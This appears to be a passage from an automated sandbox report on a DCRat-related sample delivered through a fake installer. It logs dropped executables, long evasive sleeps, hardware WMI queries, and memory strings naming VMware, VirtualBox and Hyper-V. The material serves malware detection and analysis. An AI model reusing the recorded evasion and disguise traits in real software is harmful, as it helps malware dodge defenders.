Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\vSFbtVsB.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI43FC.tmp	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\hwUMgwXg.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\vlAbNuev.log	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI4B03.tmp	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\lKQdHBzT.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\jyGvCfcb.log	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI4A36.tmp	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\aHPfiQDx.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\ZkmfqpvS.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\nBMUCfZn.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\dYYVtYJg.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\AOGsABiv.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI447A.tmp	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\XgvwQtEs.log	Jump to dropped file
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\JrPikvxc.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\jLWdviZu.log	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\ClgJzaDG.log	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI4969.tmp	Jump to dropped file
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\uAoBkxMT.log	Jump to dropped file

Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe TID: 7388	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 8060	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 8032	Thread sleep time: -30000s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -35971150943733603s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -600000s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -599874s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -598859s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -598718s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -598499s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -598375s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 5316	Thread sleep time: -7200000s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -597421s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -597250s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -597103s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -596999s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -596859s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -596733s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -596623s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 5316	Thread sleep time: -300000s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -596515s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -596406s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -596296s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -596187s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -596078s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -595968s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -595859s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -595749s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -595640s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -595530s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -595421s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -595289s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -594630s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -594499s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -594385s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -594281s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -594168s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -594062s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -593949s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -593843s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -593734s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -593624s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -593487s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -593359s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -593249s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -593140s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -593031s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -592921s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -592812s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -592702s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -592540s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -592427s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -592046s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -591878s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -591732s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -591624s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe TID: 1448	Thread sleep time: -591515s >= -30000s
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe TID: 8152	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	File Volume queried: C:\Users\user\AppData\Local\Temp FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	File Volume queried: C:\Users\user\AppData\Local\Temp\{F123046A-2CBF-4743-A59B-E3D2751B5780}\51B5780 FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 1_2_0049A69B FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	1_2_0049A69B
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 1_2_004AC220 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	1_2_004AC220
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_009866E0 ReadFile,FindFirstFileW,CloseHandle,CreateEventW,CreateThread,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,	3_2_009866E0
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_00960050 _wcsrchr,FindFirstFileW,FindFirstFileW,FindFirstFileW,FindClose,FindClose,	3_2_00960050
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_009603E0 FindFirstFileW,GetFileAttributesW,SetFileAttributesW,GetFileAttributesW,FindNextFileW,	3_2_009603E0
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_009444C0 GetShortPathNameW,FindFirstFileW,FindNextFileW,FindClose,	3_2_009444C0
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_00988600 FindFirstFileW,FindClose,	3_2_00988600
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_009A4C70 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,FindNextFileW,FindClose,	3_2_009A4C70
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_00861A20 FindClose,PathIsUNCW,FindFirstFileW,GetFullPathNameW,GetFullPathNameW,FindClose,SetLastError,_wcsrchr,_wcsrchr,PathIsUNCW,	3_2_00861A20

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Code function: 1_2_004AE6A3 VirtualQuery,GetSystemInfo,

1_2_004AE6A3

Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 30000
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 600000
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 599874
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 598859
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 598718
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 598499
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 598375
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 3600000
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 597421
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 597250
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 597103
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 596999
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 596859
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 596733
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 596623
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 300000
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 596515
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 596406
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 596296
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 596187
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 596078
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 595968
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 595859
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 595749
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 595640
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 595530
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 595421
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 595289
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 594630
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 594499
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 594385
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 594281
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 594168
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 594062
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 593949
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 593843
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 593734
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 593624
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 593487
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 593359
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 593249
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 593140
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 593031
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 592921
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 592812
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 592702
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 592540
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 592427
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 592046
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 591878
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 591732
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 591624
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 591515
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Thread delayed: delay time: 922337203685477

Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: DCRatBuild.exe, 00000001.00000002.1661019309.0000000002D89000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: SandeLLoCHECKER_Installer.exe, 00000003.00000002.2895703054.0000000000DFB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: gorkmTnChA.exe, KAdpNCgonFhCnlBRasdZerWl.exe1.11.dr, DCRatBuild.exe.0.dr, ApplicationFrameHost.exe.11.dr, KAdpNCgonFhCnlBRasdZerWl.exe.11.dr	Binary or memory string: Ag7PBDZHgFS
Source: SandeLLoCHECKER_Installer.msi.3.dr	Binary or memory string: HKEY_USERSRegOpenKeyTransactedW::NetUserGetInfo() failed with error: \@invalid string_view positionVMware, Inc.VMware Virtual PlatformVMware7,1VMware20,1innotek GmbHVirtualBoxMicrosoft CorporationVirtual MachineVRTUALACRSYSA M IGetting system informationManufacturer [Model [BIOS [\\?\UNC\\\?\shim_clone%d.%d.%d.%dDllGetVersion[%!]%!ProgramFilesFolderCommonFilesFolderDesktopFolderAllUsersDesktopFolderAppDataFolderFavoritesFolderStartMenuFolderProgramMenuFolderStartupFolderFontsFolderLocalAppDataFolderCommonAppDataFolderProgramFiles64FolderProgramFilesProgramW6432SystemFolderSystem32FolderWindowsFolderWindowsVolumeTempFolderSETUPEXEDIRshfolder.dllSHGetFolderPathWProgramFilesAPPDATAPROGRAMFILES&+
Source: wscript.exe, 00000002.00000003.1774330336.0000000002E1C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: SandeLLoCHECKER_Installer.exe, 00000003.00000003.1704675568.0000000000E28000.00000004.00000020.00020000.00000000.sdmp, SandeLLoCHECKER_Installer.exe, 00000003.00000003.1704434925.0000000000E16000.00000004.00000020.00020000.00000000.sdmp, SandeLLoCHECKER_Installer.exe, 00000003.00000002.2895703054.0000000000E28000.00000004.00000020.00020000.00000000.sdmp, SandeLLoCHECKER_Installer.exe, 00000003.00000003.1704434925.0000000000E28000.00000004.00000020.00020000.00000000.sdmp, SandeLLoCHECKER_Installer.exe, 00000003.00000002.2895703054.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: webDriverintoDll.exe, 0000000B.00000002.1887165199.000000001BB7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: fb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: w32tm.exe, 00000020.00000002.1894107714.000001FB1BCC7000.00000004.00000020.00020000.00000000.sdmp, KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2895305392.000000000119B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

API call chain: ExitProcess graph end node

graph_1-24968

